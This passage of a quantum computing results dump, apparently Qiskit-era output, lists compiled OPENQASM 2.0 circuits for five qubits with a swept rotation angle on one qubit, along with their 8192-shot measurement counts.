q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1265', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1141, '0x1': 1693, '0x0': 2944, '0x2': 2414}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1267', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1010, '0x1': 1696, '0x0': 3065, '0x2': 2421}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1269', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1056, '0x1': 1673, '0x0': 3002, '0x2': 2461}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1271', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1058, '0x1': 1684, '0x0': 2977, '0x2': 2473}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1273', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1000, '0x1': 1648, '0x0': 3035, '0x2': 2509}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1275', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 952, '0x1': 1673, '0x0': 3016, '0x2': 2551}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1277', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 928, '0x1': 1607, '0x0': 3106, '0x2': 2551}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1279', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 891, '0x1': 1592, '0x0': 3122, '0x2': 2587}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1281', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 883, '0x1': 1568, '0x0': 3112, '0x2': 2629}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1283', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 895, '0x1': 1579, '0x0': 3031, '0x2': 2687}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1285', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 833, '0x1': 1535, '0x0': 3156, '0x2': 2668}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1287', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 814, '0x1': 1517, '0x0': 3200, '0x2': 2661}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1289', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 873, '0x1': 1474, '0x0': 3277, '0x2': 2568}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure 